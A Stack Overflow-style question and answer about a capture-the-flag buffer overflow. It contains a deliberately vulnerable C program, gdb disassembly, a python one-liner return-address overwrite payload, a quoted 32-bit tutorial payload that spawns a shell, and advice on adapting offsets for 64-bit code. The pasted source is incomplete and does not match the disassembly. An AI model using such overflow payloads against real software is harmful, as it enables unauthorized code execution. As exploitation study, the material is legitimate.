It's about a CTF Challenge. I'm trying to execute a buffer overflow attack on a C program. The code is :


#include <sys/types.h>
#include <unistd.h>
#include <stdint.h>

int enable_flag() {
   setreuid(geteuid(), getuid());
   system("chmod 644 flag.txt");
   return 0;

void overflow (void* inbuf, int inbuflen) {
   char buf[4];
   memcpy(buf, inbuf, inbuflen);

int main (int argc, char** argv) {
   char filebuf[100];
   FILE* file = fopen(argv[1], "r");
   int bytes = fread(filebuf, sizeof(char), 100, file);
   printf("bytes read: %d\n", bytes);
   overflow(filebuf, bytes);
   return 0;

After running gdb I got :

(gdb) disas main 
    Dump of assembler code for function main:
       0x000000000040123e <+0>: push   %rbp
       0x000000000040123f <+1>: mov    %rsp,%rbp
       0x0000000000401242 <+4>: add    $0xffffffffffffff80,%rsp
       0x0000000000401246 <+8>: mov    %edi,-0x74(%rbp)
       0x0000000000401249 <+11>:    mov    %rsi,-0x80(%rbp)
       0x000000000040124d <+15>:    mov    -0x80(%rbp),%rax
       0x0000000000401251 <+19>:    add    $0x8,%rax
       0x0000000000401255 <+23>:    mov    (%rax),%rax
       0x0000000000401258 <+26>:    lea    0xdbc(%rip),%rsi        # 0x40201b
       0x000000000040125f <+33>:    mov    %rax,%rdi
       0x0000000000401262 <+36>:    callq  0x4010d0 <fopen@plt>
       0x0000000000401267 <+41>:    mov    %rax,-0x8(%rbp)
       0x000000000040126b <+45>:    mov    -0x8(%rbp),%rdx
       0x000000000040126f <+49>:    lea    -0x70(%rbp),%rax
       0x0000000000401273 <+53>:    mov    %rdx,%rcx
       0x0000000000401276 <+56>:    mov    $0x64,%edx
       0x000000000040127b <+61>:    mov    $0x1,%esi
       0x0000000000401280 <+66>:    mov    %rax,%rdi
       0x0000000000401283 <+69>:    callq  0x401040 <fread@plt>
       0x0000000000401288 <+74>:    mov    %eax,-0xc(%rbp)
       0x000000000040128b <+77>:    mov    -0xc(%rbp),%eax
       0x000000000040128e <+80>:    mov    %eax,%esi
       0x0000000000401290 <+82>:    lea    0xd86(%rip),%rdi        # 0x40201d
       0x0000000000401297 <+89>:    mov    $0x0,%eax
       0x000000000040129c <+94>:    callq  0x401080 <printf@plt>
       0x00000000004012a1 <+99>:    mov    0x2dd8(%rip),%rax        # 0x404080     <stdout@@GLIBC_2.2.5>
       0x00000000004012a8 <+106>:   mov    %rax,%rdi
       0x00000000004012ab <+109>:   callq  0x4010b0 <fflush@plt>
       0x00000000004012b0 <+114>:   mov    -0x8(%rbp),%rax
       0x00000000004012b4 <+118>:   mov    %rax,%rdi
       0x00000000004012b7 <+121>:   callq  0x401050 <fclose@plt>
       0x00000000004012bc <+126>:   mov    -0xc(%rbp),%edx
       0x00000000004012bf <+129>:   lea    -0x70(%rbp),%rax
       0x00000000004012c3 <+133>:   mov    %edx,%esi
       0x00000000004012c5 <+135>:   mov    %rax,%rdi
       0x00000000004012c8 <+138>:   callq  0x401213 <overflow>
       0x00000000004012cd <+143>:   mov    $0x0,%eax
       0x00000000004012d2 <+148>:   leaveq 
       0x00000000004012d3 <+149>:   retq   
    End of assembler dump.(gdb) disas main

disas overflow gives :

(gdb) disas overflow
Dump of assembler code for function overflow:
   0x0000000000401213 <+0>: push   %rbp
   0x0000000000401214 <+1>: mov    %rsp,%rbp
   0x0000000000401217 <+4>: sub    $0x20,%rsp
   0x000000000040121b <+8>: mov    %rdi,-0x18(%rbp)
   0x000000000040121f <+12>:    mov    %esi,-0x1c(%rbp)
   0x0000000000401222 <+15>:    mov    -0x1c(%rbp),%eax
   0x0000000000401225 <+18>:    movslq %eax,%rdx
   0x0000000000401228 <+21>:    mov    -0x18(%rbp),%rcx
   0x000000000040122c <+25>:    lea    -0x4(%rbp),%rax
   0x0000000000401230 <+29>:    mov    %rcx,%rsi
   0x0000000000401233 <+32>:    mov    %rax,%rdi
   0x0000000000401236 <+35>:    callq  0x4010a0 <memcpy@plt>
   0x000000000040123b <+40>:    nop
   0x000000000040123c <+41>:    leaveq 
   0x000000000040123d <+42>:    retq   
End of assembler dump.

and disas enable_flag gives :

Dump of assembler code for function enable_flag:
   0x00000000004011c2 <+0>: push   %rbp
   0x00000000004011c3 <+1>: mov    %rsp,%rbp
   0x00000000004011c6 <+4>: push   %rbx
   0x00000000004011c7 <+5>: sub    $0x8,%rsp
   0x00000000004011cb <+9>: lea    0xe32(%rip),%rdi        # 0x402004
   0x00000000004011d2 <+16>:    callq  0x401030 <puts@plt>
   0x00000000004011d7 <+21>:    mov    0x2ea2(%rip),%rax        # 0x404080 <stdout@@GLIBC_2.2.5>
   0x00000000004011de <+28>:    mov    %rax,%rdi
   0x00000000004011e1 <+31>:    callq  0x4010b0 <fflush@plt>
   0x00000000004011e6 <+36>:    callq  0x401060 <getuid@plt>
   0x00000000004011eb <+41>:    mov    %eax,%ebx
   0x00000000004011ed <+43>:    callq  0x401090 <geteuid@plt>
   0x00000000004011f2 <+48>:    mov    %ebx,%esi
   0x00000000004011f4 <+50>:    mov    %eax,%edi
   0x00000000004011f6 <+52>:    callq  0x4010c0 <setreuid@plt>
   0x00000000004011fb <+57>:    lea    0xe06(%rip),%rdi        # 0x402008
   0x0000000000401202 <+64>:    callq  0x401070 <system@plt>
   0x0000000000401207 <+69>:    mov    $0x0,%eax
   0x000000000040120c <+74>:    add    $0x8,%rsp
   0x0000000000401210 <+78>:    pop    %rbx
   0x0000000000401211 <+79>:    pop    %rbp
   0x0000000000401212 <+80>:    retq   
End of assembler dump.

I followed this tutorial Introduction to return oriented programming but I'm getting always segmentation fault

I have tried this:

./rop.o "$(python3 -c 'print ("A"*0x4 + "BBBB" + "\xc2\x11\x40")')"
  • Your code is 64-bit and the memory addresses are 64-bits long, but the tutorial is compiling code for x84 (32-bit memory addresses). The saved ebp in 64-bit code is also 64-bit (eight bytes not four bytes). You have to adjust these to match the tutorial. Alternatively, compile your code with the "-m32" flag as suggested in the tutorial – hft Jun 27 '20 at 21:52

The tutorial you mention "Introduction to return oriented programming" is for 32-bit code and includes the lines:

We try this and we get our shell: $ ./a.out "$(python -c 'print "A"*0x6c + "BBBB" + "\x44\x84\x04\x08"')" Enjoy your shell!

The tutorial suggests compiling with the flag "-m32" to generate 32-bit code. If this is not possible in your capture-the-flag then you need to adjust the exploit code to account for: 1) Your buffer "buf" is 4 bytes, not 0x6c bytes long; 2) The "old EBP" is eight bytes, not four bytes (e.g., adjust "BBBB" to "BBBBBBBB"); 3) the return address is eight bytes not four bytes (adjust similarly).

The above should work as long as the stack is still setup similarly to the tutorial. But you should read through the disassembly to map out what the stack actually looks like for the 64-bit code. There may be differences due to 64-bit calling conventions or the compiler's choice of how many bytes to subtract from rsp to setup the stack (e.g., 0x80 vs 0x88 in the example).

To help understand what input values you need, you can run the software with the input argument in gdb using, e.g.:

gbd --args ./a.out $(python -c 'print("AAAA")')

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.